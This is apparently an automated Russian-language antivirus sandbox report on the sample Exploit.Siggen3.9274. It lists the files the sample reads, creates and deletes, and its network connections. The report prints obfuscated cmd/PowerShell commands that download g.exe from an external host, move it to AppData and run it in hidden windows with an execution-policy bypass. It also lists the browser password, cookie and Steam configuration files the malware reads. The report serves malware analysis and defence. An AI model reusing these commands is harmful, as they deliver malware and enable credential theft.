Exploit.Siggen3.9274

Техническая информация

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\cmd.exe' /c po^wershe^ll -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('http://ur##uid.gq/d/g.exe','g.exe')
'<SYSTEM32>\cmd.exe' /c po^wershe^ll -w 1 Start-Sleep 20; Move-Item "g.exe" -Destination "${enV`:appdata}"
'<SYSTEM32>\cmd.exe' /c po^wershe^ll -w 1 -EP bypass Start-Sleep 25; cd ${enV`:appdata};.('.'+'/g.exe')

Читает файлы, отвечающие за хранение паролей сторонними программами

%ProgramFiles(x86)%\steam\config\config.vdf
%ProgramFiles(x86)%\steam\config\dialogconfig.vdf
%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\cookies
%LOCALAPPDATA%\google\chrome\user data\default\web data
%APPDATA%\opera software\opera stable\login data
%HOMEPATH%\desktop\508softwareandos.doc
%HOMEPATH%\desktop\file_p_00000000_1371597592.docx
%HOMEPATH%\desktop\ovp25012015.doc
%HOMEPATH%\desktop\sdszfo.docx
%HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc

Изменения в файловой системе

Создает следующие файлы

%HOMEPATH%\documents\g.exe
%TEMP%\tmp8213.tmp
%TEMP%\tmp8212.tmp
%TEMP%\tmp8211.tmp
%TEMP%\tmp8210.tmp
%TEMP%\tmp820f.tmp
%TEMP%\tmp81fe.tmp
%TEMP%\tmp81fd.tmp
%TEMP%\tmp81fc.tmp
%TEMP%\tmp81fb.tmp
%TEMP%\tmp81fa.tmp
%TEMP%\tmp81ea.tmp
%TEMP%\tmp81e9.tmp
%TEMP%\tmp81b9.tmp
%TEMP%\tmp81b8.tmp
%TEMP%\tmp81b7.tmp
%TEMP%\tmp81b6.tmp
%TEMP%\tmp81a5.tmp
%TEMP%\tmp81a4.tmp
%TEMP%\tmp81a3.tmp
%TEMP%\tmp81a2.tmp
%TEMP%\tmp81a1.tmp
%TEMP%\tmp8243.tmp
%TEMP%\tmp8244.tmp
%TEMP%\tmp8245.tmp
%TEMP%\tmp8246.tmp
%TEMP%\tmp82c9.tmp
%TEMP%\tmp82b8.tmp
%TEMP%\tmp82a8.tmp
%TEMP%\tmp82a7.tmp
%TEMP%\tmp8296.tmp
%TEMP%\tmp8295.tmp
%TEMP%\tmp8294.tmp
%TEMP%\tmp8293.tmp
%TEMP%\tmp8283.tmp
%TEMP%\tmp8282.tmp
%TEMP%\tmp8280.tmp
%TEMP%\tmp8281.tmp
%TEMP%\tmp826f.tmp
%TEMP%\tmp826e.tmp
%TEMP%\tmp826d.tmp
%TEMP%\tmp825c.tmp
%TEMP%\tmp825b.tmp
%TEMP%\tmp825a.tmp
%TEMP%\tmp8259.tmp
%TEMP%\tmp8258.tmp
%TEMP%\tmp8257.tmp
%TEMP%\tmp8247.tmp
%TEMP%\tmp82da.tmp
%TEMP%\tmp8191.tmp
%TEMP%\tmp8190.tmp
%TEMP%\tmp818f.tmp
%TEMP%\tmp80f6.tmp
%TEMP%\tmp80e5.tmp
%TEMP%\tmp80e4.tmp
%TEMP%\tmp80e3.tmp
%TEMP%\tmp80e2.tmp
%TEMP%\tmp80d2.tmp
%TEMP%\tmp80d1.tmp
%TEMP%\tmp80c0.tmp
%TEMP%\tmp80bf.tmp
%TEMP%\tmp809f.tmp
%TEMP%\tmp809e.tmp
%TEMP%\tmp809d.tmp
%TEMP%\tmp808c.tmp
%TEMP%\tmp807c.tmp
%TEMP%\tmp807b.tmp
%TEMP%\tmp806a.tmp
%TEMP%\tmp8069.tmp
%TEMP%\tmp8068.tmp
%TEMP%\tmp8058.tmp
%TEMP%\tmp8009.tmp
%TEMP%\tmp7ff8.tmp
%TEMP%\tmp8107.tmp
%TEMP%\tmp8108.tmp
%TEMP%\tmp8109.tmp
%TEMP%\tmp8119.tmp
%TEMP%\tmp817d.tmp
%TEMP%\tmp817c.tmp
%TEMP%\tmp817b.tmp
%TEMP%\tmp817a.tmp
%TEMP%\tmp816a.tmp
%TEMP%\tmp8169.tmp
%TEMP%\tmp8168.tmp
%TEMP%\tmp8167.tmp
%TEMP%\tmp8156.tmp
%TEMP%\tmp8155.tmp
%TEMP%\tmp8143.tmp
%TEMP%\tmp8154.tmp
%TEMP%\tmp8142.tmp
%TEMP%\tmp8141.tmp
%TEMP%\tmp8131.tmp
%TEMP%\tmp8130.tmp
%TEMP%\tmp812f.tmp
%TEMP%\tmp812e.tmp
%TEMP%\tmp811d.tmp
%TEMP%\tmp811c.tmp
%TEMP%\tmp811b.tmp
%TEMP%\tmp811a.tmp
%TEMP%\tmp817e.tmp
%TEMP%\tmp82db.tmp

Удаляет следующие файлы

%TEMP%\tmp8009.tmp
%TEMP%\tmp81b9.tmp
%TEMP%\tmp81ea.tmp
%TEMP%\tmp81fb.tmp
%TEMP%\tmp81fd.tmp
%TEMP%\tmp820f.tmp
%TEMP%\tmp8211.tmp
%TEMP%\tmp8213.tmp
%TEMP%\tmp8244.tmp
%TEMP%\tmp8246.tmp
%TEMP%\tmp81a5.tmp
%TEMP%\tmp81b7.tmp
%TEMP%\tmp8257.tmp
%TEMP%\tmp826d.tmp
%TEMP%\tmp826f.tmp
%TEMP%\tmp8281.tmp
%TEMP%\tmp8283.tmp
%TEMP%\tmp8294.tmp
%TEMP%\tmp8296.tmp
%TEMP%\tmp82a8.tmp
%TEMP%\tmp82b8.tmp
%TEMP%\tmp82c9.tmp
%TEMP%\tmp8259.tmp
%TEMP%\tmp825b.tmp
%TEMP%\tmp81a3.tmp
%TEMP%\tmp81a1.tmp
%TEMP%\tmp8190.tmp
%TEMP%\tmp806a.tmp
%TEMP%\tmp807c.tmp
%TEMP%\tmp809d.tmp
%TEMP%\tmp809f.tmp
%TEMP%\tmp80c0.tmp
%TEMP%\tmp80d2.tmp
%TEMP%\tmp80e3.tmp
%TEMP%\tmp80e5.tmp
%TEMP%\tmp8107.tmp
%TEMP%\tmp8109.tmp
%TEMP%\tmp8068.tmp
%TEMP%\tmp811a.tmp
%TEMP%\tmp812e.tmp
%TEMP%\tmp8130.tmp
%TEMP%\tmp8141.tmp
%TEMP%\tmp8143.tmp
%TEMP%\tmp8155.tmp
%TEMP%\tmp8167.tmp
%TEMP%\tmp8169.tmp
%TEMP%\tmp817a.tmp
%TEMP%\tmp817c.tmp
%TEMP%\tmp817e.tmp
%TEMP%\tmp811c.tmp
%TEMP%\tmp82da.tmp
%TEMP%\tmp82db.tmp

Перемещает следующие файлы

%HOMEPATH%\documents\g.exe в %APPDATA%\g.exe

Сетевая активность

Подключается к

'ur##uid.gq':80
'45.##0.67.133':81
'ap#.ip.sb':443
'wh###.iana.org':43
'WH###.RIPE.NET':43

TCP

Запросы HTTP POST

http://45.###.67.133:81/ via 45.##0.67.133

'ap#.ip.sb':443

'wh###.iana.org':43

'WH###.RIPE.NET':43

UDP

DNS ASK ur##uid.gq
DNS ASK ap#.ip.sb
DNS ASK wh###.iana.org
DNS ASK WH###.RIPE.NET

Другое

Создает и запускает на исполнение

'%APPDATA%\g.exe'
'<SYSTEM32>\cmd.exe' /c po^wershe^ll -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('http://ur##uid.gq/d/g.exe','g.exe')' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c po^wershe^ll -w 1 Start-Sleep 20; Move-Item "g.exe" -Destination "${enV`:appdata}"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c po^wershe^ll -w 1 -EP bypass Start-Sleep 25; cd ${enV`:appdata};.('.'+'/g.exe')' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 -EP bypass Start-Sleep 25; cd ${enV`:appdata};.('.'+'/g.exe')
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('http://ur##uid.gq/d/g.exe','g.exe')
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 Start-Sleep 20; Move-Item "g.exe" -Destination "${enV`:appdata}"